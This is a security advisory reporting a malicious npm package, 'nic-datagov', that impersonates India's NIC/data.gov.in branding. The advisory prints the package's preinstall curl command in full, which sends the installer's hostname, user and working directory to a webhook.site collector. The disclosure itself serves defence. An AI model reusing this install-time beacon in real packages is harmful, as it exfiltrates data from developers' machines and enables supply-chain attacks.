MAL-2026-5836 Malicious code in nic-datagov (npm)

package.json declares a preinstall script that runs curl --data-urlencode "info=$(hostname && whoami && pwd)" https://webhook.site/1ea0386f-dcc0-4f1b-bdbb-61732d6535fb/nic-datagov, sending the installer's hostname, current user, and working directory to a webhook.site collector on npm install. The package ships no library code and has no main/files consistent with its stated 'NIC Data.gov.in integration library' description — its sole effect on install is the recon beacon. The name and description impersonate India's NIC/data.gov.in branding, consistent with a targeted dependency-confusion probe against an internal/government namespace.

The OpenSSF Package Analysis project identified 'nic-datagov' @ 1.0.0 (npm) as malicious.

It is considered malicious because:

• The package executes one or more commands associated with malicious behavior.